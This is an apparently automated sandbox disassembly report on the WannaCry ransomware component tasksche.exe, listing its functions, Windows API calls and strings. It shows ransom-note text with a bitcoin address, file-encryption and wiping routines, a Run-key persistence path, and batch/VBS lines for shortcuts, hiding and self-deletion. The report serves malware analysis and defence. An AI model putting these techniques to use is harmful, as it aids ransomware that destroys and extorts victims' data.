LeaveCriticalSection.KERNEL32(?,?,?,?,?,100029E9), ref: 10002B76
ExitThread.KERNEL32 ref: 10002B89

Strings

.WNCRYT, xrefs: 10002AB1
%s\%d%s, xrefs: 10002AC1

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004DF0, Relevance: 29.8, APIs: 11, Strings: 6, Instructions: 89

APIs

GetFileAttributesW.KERNEL32(@Please_Read_Me@.txt,76E6C426,00000000,00000000,1000588E), ref: 10004E02
fopen.MSVCRT ref: 10004E1B
fread.MSVCRT ref: 10004E50
fclose.MSVCRT ref: 10004E5D
_wfopen.MSVCRT ref: 10004E69
_ftol.MSVCRT ref: 10004E8B
sprintf.MSVCRT ref: 10004EA1
sprintf.MSVCRT ref: 10004EC4
sprintf.MSVCRT ref: 10004EE5
fwrite.MSVCRT ref: 10004F03
fclose.MSVCRT ref: 10004F0A

Strings

@Please_Read_Me@.txt, xrefs: 10004DFD, 10004E64
$%d worth of bitcoin, xrefs: 10004E9B
%.1f BTC, xrefs: 10004EBE
12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw, xrefs: 10004ED2
r.wnry, xrefs: 10004E16
@WanaDecryptor@.exe, xrefs: 10004EC9

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003410, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72

APIs

Part of subcall function 10004440: LoadLibraryA.KERNEL32(advapi32.dll), ref: 10004456
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,?), ref: 10004473
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 10004480
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 1000448D
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 1000449A
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 100044A7
Part of subcall function 10004440: GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 100044B4

LoadLibraryA.KERNEL32(kernel32.dll), ref: 10003433
GetProcAddress.KERNEL32(00000000,CreateFileW,?), ref: 10003450
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 1000345D
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 1000346A
GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 10003477
GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 10003484
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 10003491
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 1000349E

Strings

CreateFileW, xrefs: 1000344A
CloseHandle, xrefs: 10003493
WriteFile, xrefs: 10003452
MoveFileW, xrefs: 1000346C
ReadFile, xrefs: 1000345F
MoveFileExW, xrefs: 10003479
kernel32.dll, xrefs: 1000342E
DeleteFileW, xrefs: 10003486

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005190, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 117

APIs

GetDriveTypeW.KERNEL32(00000000,00000001,00000000,00000000), ref: 100051C0
GlobalAlloc.KERNEL32(00000000,00A00000), ref: 100051D6

Part of subcall function 10005120: swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
Part of subcall function 10005120: DeleteFileW.KERNEL32(?), ref: 10005174

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 1000522C
GlobalFree.KERNEL32(00000000), ref: 1000523A
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 10005254
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 1000527D
WriteFile.KERNEL32(00000000,00000000,00A00000,?,00000000), ref: 100052A9
Sleep.KERNEL32(0000000A), ref: 100052B5
Sleep.KERNEL32(00002710), ref: 100052C2
GlobalFree.KERNEL32(00000000), ref: 100052CE
FlushFileBuffers.KERNEL32(00000000), ref: 100052D5
CloseHandle.KERNEL32(00000000), ref: 100052DC
DeleteFileW.KERNEL32(?), ref: 100052E7

Strings

:\, xrefs: 10005196
UUUU, xrefs: 100051EB

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10002D60, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 108

APIs

wcsrchr.MSVCRT ref: 10002D6A
_wcsicmp.MSVCRT ref: 10002D8B
_wcsicmp.MSVCRT ref: 10002D9E
_wcsicmp.MSVCRT ref: 10002DB1
_wcsicmp.MSVCRT ref: 10002DD7
_wcsicmp.MSVCRT ref: 10002DFC
_wcsicmp.MSVCRT ref: 10002E2D
_wcsicmp.MSVCRT ref: 10002E47

Strings

.WNCRY, xrefs: 10002DAB
.exe, xrefs: 10002D85
.WNCRYT, xrefs: 10002E27
.WNCYR, xrefs: 10002E41
.dll, xrefs: 10002D98

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003010, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 188

APIs

GetFileAttributesW.KERNEL32(?,768ED335,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
SetFileAttributesW.KERNEL32(?,00000000), ref: 10003044
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 10003059
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 1000308A
GetFileSizeEx.KERNEL32(00000000,?,00000000), ref: 100030AA

Part of subcall function 10004420: CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E

SetFilePointer.KERNEL32(00000000,FFFFFC00,00000000,00000002), ref: 1000314C
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000316F
FlushFileBuffers.KERNEL32(00000000), ref: 10003176
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 10003183
WriteFile.KERNEL32(00000000,?,00040000,?,00000000), ref: 100031C8
CloseHandle.KERNEL32(00000000), ref: 100031EA

Strings

UUUU, xrefs: 10003119

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004CD0, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 88

APIs

GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe,00000000), ref: 10004CE2
CopyFileA.KERNEL32(u.wnry,@WanaDecryptor@.exe,00000000), ref: 10004CF5
GetFileAttributesW.KERNEL32(@WanaDecryptor@.exe.lnk), ref: 10004D00
GetCurrentDirectoryA.KERNEL32(00000208,?,76E6C426), ref: 10004D45
sprintf.MSVCRT ref: 10004DC2

Part of subcall function 10001140: GetTickCount.KERNEL32(@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs), ref: 10001147
Part of subcall function 10001140: srand.MSVCRT ref: 1000114E
Part of subcall function 10001140: time.MSVCRT ref: 10001156
Part of subcall function 10001140: rand.MSVCRT ref: 10001160
Part of subcall function 10001140: sprintf.MSVCRT ref: 10001171
Part of subcall function 10001140: fopen.MSVCRT ref: 10001181
Part of subcall function 10001140: fprintf.MSVCRT ref: 100011A6
Part of subcall function 10001140: fclose.MSVCRT ref: 100011AD

Strings

@WanaDecryptor@.exe, xrefs: 10004CDD
@WanaDecryptor@.exe.lnk, xrefs: 10004DAC
@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10004D11
u.wnry, xrefs: 10004CF0
\, xrefs: 10004D67
@WanaDecryptor@.exe.lnk, xrefs: 10004CFB
@WanaDecryptor@.exe, xrefs: 10004CEB, 10004DA2

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10005060, Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 62

APIs

GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
GetTempPathW.KERNEL32(00000104,?), ref: 10005094
wcslen.MSVCRT ref: 100050A1
wcslen.MSVCRT ref: 100050AB
wcslen.MSVCRT ref: 100050B9
swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
sprintf.MSVCRT ref: 100050FE

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

Strings

attrib +h +s %C:\%s, xrefs: 100050F8
%C:\%s, xrefs: 100050D6
$RECYCLE, xrefs: 100050D0
$RECYCLE, xrefs: 100050EE

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10002200, Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 83

APIs

wcscpy.MSVCRT ref: 1000222D
wcsrchr.MSVCRT ref: 10002236
_wcsicmp.MSVCRT ref: 1000224B
wcscpy.MSVCRT ref: 1000225E
wcscat.MSVCRT ref: 1000226F
swprintf.MSVCRT(?,%s%s,?,.WNCYR,?,?,?,?), ref: 10002291
GetFileAttributesW.KERNEL32(?), ref: 1000229F
DeleteFileW.KERNEL32(?,?,?,?), ref: 100022C3

Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002BD9
Part of subcall function 10002BA0: EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002C15
Part of subcall function 10002BA0: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
Part of subcall function 10002BA0: ??2@YAPAXI@Z.MSVCRT ref: 10002C57
Part of subcall function 10002BA0: LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
Part of subcall function 10002BA0: ??3@YAXPAX@Z.MSVCRT ref: 10002CD6
Part of subcall function 10002BA0: LeaveCriticalSection.KERNEL32(?), ref: 10002CE3
Part of subcall function 10002BA0: wcslen.MSVCRT ref: 10002D04
Part of subcall function 10002BA0: DeleteFileW.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002D12

Part of subcall function 10001960: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 10001A21
Part of subcall function 10001960: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 10001A57
Part of subcall function 10001960: GetFileSizeEx.KERNEL32(00000000,?,?,?), ref: 10001A7C
Part of subcall function 10001960: GetFileTime.KERNEL32(00000000,?,?,?,?,?), ref: 10001AA7
Part of subcall function 10001960: ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 10001AC0
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 10001B00
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,?,?,00000000), ref: 10001B3A
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,00000004,?,00000000), ref: 10001B5D
Part of subcall function 10001960: _local_unwind2.MSVCRT ref: 10001B78
Part of subcall function 10001960: SetFilePointer.KERNELBASE(?,00000000,00000000,00000000,?,?), ref: 10001BAB
Part of subcall function 10001960: swprintf.MSVCRT(?,%s%s,?,1000CBE4,?,?), ref: 10001BCC
Part of subcall function 10001960: CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 10001BEE
Part of subcall function 10001960: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 10001C1A
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,00010000,?,00000000), ref: 10001C71
Part of subcall function 10001960: SetFilePointer.KERNEL32(?,00000000,00000000,00000002,?,?), ref: 10001C96
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00010000,?,00000000), ref: 10001CAE
Part of subcall function 10001960: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 10001CDF
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001CFB
Part of subcall function 10001960: SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?), ref: 10001D20
Part of subcall function 10001960: rand.MSVCRT ref: 10001D54
Part of subcall function 10001960: WriteFile.KERNEL32(?,WANACRY!,00000008,00010000,00000000), ref: 10001E22
Part of subcall function 10001960: WriteFile.KERNEL32(?,00000200,00000004,00010000,00000000), ref: 10001E43
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00000200,00010000,00000000), ref: 10001E69
Part of subcall function 10001960: WriteFile.KERNEL32(?,00000004,00000004,00010000,00000000), ref: 10001E87
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00000008,00010000,00000000), ref: 10001EA8
Part of subcall function 10001960: SetFilePointer.KERNEL32(?,FFFF0000,00000000,00000002,?,?), ref: 10001EEF
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001F0B
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10001F5C
Part of subcall function 10001960: SetFilePointer.KERNEL32(?,00010000,00000000,00000000,?,?), ref: 10001F84
Part of subcall function 10001960: ReadFile.KERNEL32(?,?,00100000,00010000,00000000), ref: 10001FE8
Part of subcall function 10001960: WriteFile.KERNEL32(?,?,00010000,00010000,00000000), ref: 10002072
Part of subcall function 10001960: _local_unwind2.MSVCRT ref: 1000208E
Part of subcall function 10001960: SetFileTime.KERNELBASE(?,?,?,?,?,?), ref: 100020CD
Part of subcall function 10001960: CloseHandle.KERNEL32(?), ref: 100020DA
Part of subcall function 10001960: CloseHandle.KERNEL32(?), ref: 100020E1
Part of subcall function 10001960: MoveFileW.KERNEL32(?,?), ref: 10002101
Part of subcall function 10001960: SetFileAttributesW.KERNELBASE(?,00000080,?,?), ref: 10002119
Part of subcall function 10001960: DeleteFileW.KERNEL32(?,?,?), ref: 10002128
Part of subcall function 10001960: CloseHandle.KERNEL32(?), ref: 10002130
Part of subcall function 10001960: MoveFileW.KERNEL32(?,?), ref: 1000214D
Part of subcall function 10001960: _local_unwind2.MSVCRT ref: 1000218F

Strings

.WNCRY, xrefs: 10002256, 10002269
%s%s, xrefs: 1000228B
.WNCYR, xrefs: 10002245, 10002281

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10001140, Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 42

APIs

GetTickCount.KERNEL32(@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs), ref: 10001147
srand.MSVCRT ref: 1000114E
time.MSVCRT ref: 10001156
rand.MSVCRT ref: 10001160
sprintf.MSVCRT ref: 10001171
fopen.MSVCRT ref: 10001181
fprintf.MSVCRT ref: 100011A6
fclose.MSVCRT ref: 100011AD

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

Strings

@echo offecho SET ow = WScript.CreateObject("WScript.Shell")> m.vbsecho SET om = ow.CreateShortcut("%s%s")>> m.vbsecho om.TargetPath = "%s%s">> m.vbsecho om.Save>> m.vbscscript.exe //nologo m.vbsdel m.vbs, xrefs: 10001146
%sdel /a %%0, xrefs: 100011A0
%d%d.bat, xrefs: 1000116B

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10004890, Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 77

APIs

Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,768DF708), ref: 1000139C
Part of subcall function 10001360: CheckTokenMembership.ADVAPI32(00000000,?,768DF708,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000), ref: 100013B6
Part of subcall function 10001360: FreeSid.ADVAPI32(?,?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 100013C9

GetFullPathNameA.KERNEL32(@WanaDecryptor@.exe,00000208,?,00000000), ref: 100048D3
sprintf.MSVCRT ref: 100048F0

Part of subcall function 10001080: CreateProcessA.KERNEL32 ref: 100010D3
Part of subcall function 10001080: WaitForSingleObject.KERNEL32(?,?), ref: 100010EB
Part of subcall function 10001080: TerminateProcess.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 100010FC
Part of subcall function 10001080: GetExitCodeProcess.KERNEL32(?,?), ref: 10001110
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001121
Part of subcall function 10001080: CloseHandle.KERNEL32(?), ref: 10001128

CreateProcessA.KERNEL32 ref: 1000495F
CloseHandle.KERNEL32(?), ref: 10004975
CloseHandle.KERNEL32(?), ref: 1000497C

Strings

%s %s, xrefs: 100048EA
D, xrefs: 1000491E
taskse.exe, xrefs: 100048E5
@WanaDecryptor@.exe, xrefs: 100048CD, 10004946

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10002BA0, Relevance: 15.1, APIs: 10, Instructions: 133

APIs

wcslen.MSVCRT ref: 10002BD9
EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
wcslen.MSVCRT ref: 10002C15
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
??2@YAPAXI@Z.MSVCRT ref: 10002C57

Part of subcall function 10003810: ?_Xran@std@@YAXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000386E
Part of subcall function 10003810: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 10003876
Part of subcall function 10003810: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 100038AD
Part of subcall function 10003810: ?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 100038BA
Part of subcall function 10003810: ?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 100038C2
Part of subcall function 10003810: ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 100038F9
Part of subcall function 10003810: ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000393A

LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
??3@YAXPAX@Z.MSVCRT ref: 10002CD6
LeaveCriticalSection.KERNEL32(?), ref: 10002CE3

Part of subcall function 10003010: GetFileAttributesW.KERNEL32(?,768ED335,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
Part of subcall function 10003010: SetFileAttributesW.KERNEL32(?,00000000), ref: 10003044
Part of subcall function 10003010: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 10003059
Part of subcall function 10003010: CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,00000000,00000000), ref: 1000308A
Part of subcall function 10003010: GetFileSizeEx.KERNEL32(00000000,?,00000000), ref: 100030AA
Part of subcall function 10003010: SetFilePointer.KERNEL32(00000000,FFFFFC00,00000000,00000002), ref: 1000314C
Part of subcall function 10003010: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000316F
Part of subcall function 10003010: FlushFileBuffers.KERNEL32(00000000), ref: 10003176
Part of subcall function 10003010: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 10003183
Part of subcall function 10003010: WriteFile.KERNEL32(00000000,?,00040000,?,00000000), ref: 100031C8
Part of subcall function 10003010: CloseHandle.KERNEL32(00000000), ref: 100031EA

wcslen.MSVCRT ref: 10002D04
DeleteFileW.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002D12

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 100014A0, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85

APIs

GetComputerNameW.KERNEL32(?,?), ref: 100014D6
wcslen.MSVCRT ref: 100014EE
wcslen.MSVCRT ref: 1000150E
srand.MSVCRT ref: 10001518
rand.MSVCRT ref: 10001527
rand.MSVCRT ref: 10001548
rand.MSVCRT ref: 10001564

Strings

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100014AE

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10006940, Relevance: 12.2, APIs: 8, Instructions: 209

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006959
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10006969
??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006A54
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10006A64
??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006B1F
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B2F

Part of subcall function 10006640: ??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8CC), ref: 10006659
Part of subcall function 10006640: _CxxThrowException.MSVCRT(?,1000AF00), ref: 10006669

??0exception@@QAE@ABQBD@Z.MSVCRT(1000D8D0), ref: 10006B85
_CxxThrowException.MSVCRT(?,1000AF00), ref: 10006B95

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1859737055.10000000.00000004.sdmp
Associated: 00000005.00000002.1859754028.10007000.00000002.sdmp
Associated: 00000005.00000002.1859762288.1000C000.00000004.sdmp
Associated: 00000005.00000002.1859770483.1000E000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_tasksche.jbxd

Function 10003810, Relevance: 10.6, APIs: 7, Instructions: 139

APIs

?_Xran@std@@YAXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000386E
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60(?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 10003876
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000000), ref: 100038AD
?_Eos@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXI@Z.MSVCP60(?), ref: 100038BA
?_Split@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEXXZ.MSVCP60 ref: 100038C2
?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 100038F9
?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(?,00000001,?,?,?,00000000,?,-00000008,10006E81,000000FF,10002C8A,-00000008,?), ref: 1000393A

Memory Dump Source

Source File: 00000005.00000002.1859744444.10001000.00000020.sdmp, Offset: 10000000, based on PE: true

